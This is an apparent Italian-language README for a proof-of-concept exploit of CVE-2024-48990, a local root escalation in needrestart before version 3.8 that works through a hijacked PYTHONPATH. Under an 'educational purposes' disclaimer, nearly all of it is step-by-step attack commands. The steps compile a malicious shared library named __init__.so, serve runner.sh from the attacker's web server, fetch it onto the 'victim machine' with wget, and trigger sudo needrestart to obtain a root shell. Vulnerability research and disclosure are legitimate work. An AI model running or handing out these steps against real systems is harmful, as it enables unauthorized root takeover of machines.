CVE-2024-48990

[!WARNING] Questi file e queste informazioni sono destinati esclusivamente a scopo educativo. L'autore non è responsabile di alcun comportamento dannoso. Tutte le informazioni fornite non sono intese a incitare alcun tipo di crimine o abuso.

Descrizione

Qualys ha scoperto che needrestart, prima della versione 3.8, consente a utenti malintenzionati locali di eseguire codice arbitrario come root ingannando needrestart facendogli eseguire l'interprete Python con una variabile d'ambiente PYTHONPATH controllata dall'attaccante. Consulta NIST per i dettagli ufficiali.

PoC

1. Scarica il repository da git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. Compila la libreria exploit.c per generare una libreria ELF valida e chiamala __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

3. Modifica <IP> e <PORT> in runner.sh, riga 7 e riga 10, con l'IP e la PORT del tuo server web.
4. Avvia il server web

python3 -m http.server

5. Scarica runner sulla macchina vittima

wget http://IP:PORT/runner.sh

6. Imposta il permesso di esecuzione su runner

chmod +x runner.sh

7. Esegui lo script

./runner.sh

8. Esegui needrestart con permessi sudo

sudo needrestart

Quando leggi [*] CVE module created premi CTRL+C per fermare il processo e ottenere la tua shell!